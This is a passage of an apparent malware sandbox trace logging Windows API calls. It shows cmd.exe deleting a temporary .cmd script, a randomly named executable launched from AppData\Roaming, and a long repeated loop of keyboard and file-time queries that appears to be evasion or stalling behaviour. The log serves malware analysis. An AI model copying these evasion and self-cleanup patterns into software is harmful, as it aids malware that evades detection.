lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x84) returned 0x37e260 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e260, Size=0x48) returned 0x37e260 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e260) returned 0x48 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x52) returned 0x37e2c0 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x84) returned 0x37e320 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x37e320, Size=0x48) returned 0x37e320 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37e320) returned 0x48 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x46) returned 0x378d00 [0246.626] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x24e900 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.626] GetProcessHeap () returned 0x360000 [0246.626] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x58) returned 0x37e380 [0246.626] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x24d810 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.626] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x24dac8, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x24e320, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x24dac8*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0246.627] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0246.627] GetProcessHeap () returned 0x360000 [0246.627] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x58) returned 0x37e3e0 [0246.627] GetProcessHeap () returned 0x360000 [0246.627] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x260) returned 0x37e440 [0246.627] _wcsicmp (_String1="sUujcz.cmd", _String2=".") returned 69 [0246.627] _wcsicmp (_String1="sUujcz.cmd", _String2="..") returned 69 [0246.627] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd")) returned 0x20 [0246.627] GetProcessHeap () returned 0x360000 [0246.627] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x37ee20 [0246.627] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37ee30 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0246.627] SetErrorMode (uMode=0x0) returned 0x0 [0246.627] SetErrorMode (uMode=0x1) returned 0x0 [0246.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd", nBufferLength=0x104, lpBuffer=0x24d830, lpFilePart=0x24d820 | out: lpBuffer="C:\\Windows\\TEMP\\sUujcz.cmd", lpFilePart=0x24d820*="sUujcz.cmd") returned 0x1a [0246.627] SetErrorMode (uMode=0x0) returned 0x1 [0246.627] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP" (normalized: "c:\\windows\\temp")) returned 0x10 [0246.627] GetProcessHeap () returned 0x360000 [0246.627] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x260) returned 0x37f040 [0246.627] _wcsicmp (_String1="sUujcz.cmd", _String2=".") returned 69 [0246.627] _wcsicmp (_String1="sUujcz.cmd", _String2="..") returned 69 [0246.627] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd")) returned 0x20 [0246.627] GetProcessHeap () returned 0x360000 [0246.628] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x26) returned 0x3745e0 [0246.628] GetProcessHeap () returned 0x360000 [0246.628] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x30) returned 0x376ae0 [0246.628] GetProcessHeap () returned 0x360000 [0246.628] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x30) returned 0x376b20 [0246.628] GetProcessHeap () returned 0x360000 [0246.628] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x810) returned 0x37f2b0 [0246.628] FindFirstFileExW (in: lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd", fInfoLevelId=0x0, lpFindFileData=0x37f2c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37f2c4) returned 0x37e6b0 [0246.628] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\sUujcz.cmd" (normalized: "c:\\windows\\temp\\suujcz.cmd")) returned 1 [0246.629] FindNextFileW (in: hFindFile=0x37e6b0, lpFindFileData=0x37f2c4 | out: lpFindFileData=0x37f2c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fd87950, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x9fd87950, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x9fd87950, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="sUujcz.cmd", cAlternateFileName="")) returned 0 [0246.629] GetLastError () returned 0x12 [0246.629] FindClose (in: hFindFile=0x37e6b0 | out: hFindFile=0x37e6b0) returned 1 [0246.629] GetProcessHeap () returned 0x360000 [0246.629] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37f2b0 | out: hHeap=0x360000) returned 1 [0246.629] GetProcessHeap () returned 0x360000 [0246.629] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x376b20 | out: hHeap=0x360000) returned 1 [0246.629] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3745e0 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x376ae0 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37f040 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ee20 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e440 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e3e0 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e380 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x378d00 | out: hHeap=0x360000) returned 1 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37e320 | out: hHeap=0x360000) returned 1 [0246.630] GetConsoleTitleW (in: lpConsoleTitle=0x24eda0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0246.630] GetProcessHeap () returned 0x360000 [0246.630] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x14) returned 0x37da50 [0246.630] GetProcessHeap () returned 0x360000 [0246.630] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x1a) returned 0x3745e0 [0246.630] exit (_Code=0) Process: id = "78" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6b9fe000" os_pid = "0x6c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x168" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 989 os_tid = 0x6b8 Thread: id = 990 os_tid = 0x6bc Thread: id = 991 os_tid = 0x6c0 Process: id = "79" image_name = "3ocmiq~1.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\bo7tpuln\\3ocmiq~1.exe" page_root = "0x6ae11000" os_pid = "0x69c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "77" os_parent_pid = "0x660" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 992 os_tid = 0x698 [0246.806] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\bo7tPuLN\\3OCMIQ~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\J4OJAT~1" [0246.806] GetStockObject (i=168) returned 0x0 [0246.806] GetAsyncKeyState (vKey=58) returned 0 [0246.806] GetKBCodePage () returned 0x1b5 [0246.806] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.811] GetFocus () returned 0x0 [0246.811] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.812] GetAsyncKeyState (vKey=58) returned 0 [0246.812] GetKBCodePage () returned 0x1b5 [0246.812] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.812] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.813] GetAsyncKeyState (vKey=58) returned 0 [0246.813] GetKBCodePage () returned 0x1b5 [0246.813] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.813] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.814] GetFocus () returned 0x0 [0246.814] GetAsyncKeyState (vKey=58) returned 0 [0246.814] GetKBCodePage () returned 0x1b5 [0246.814] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState 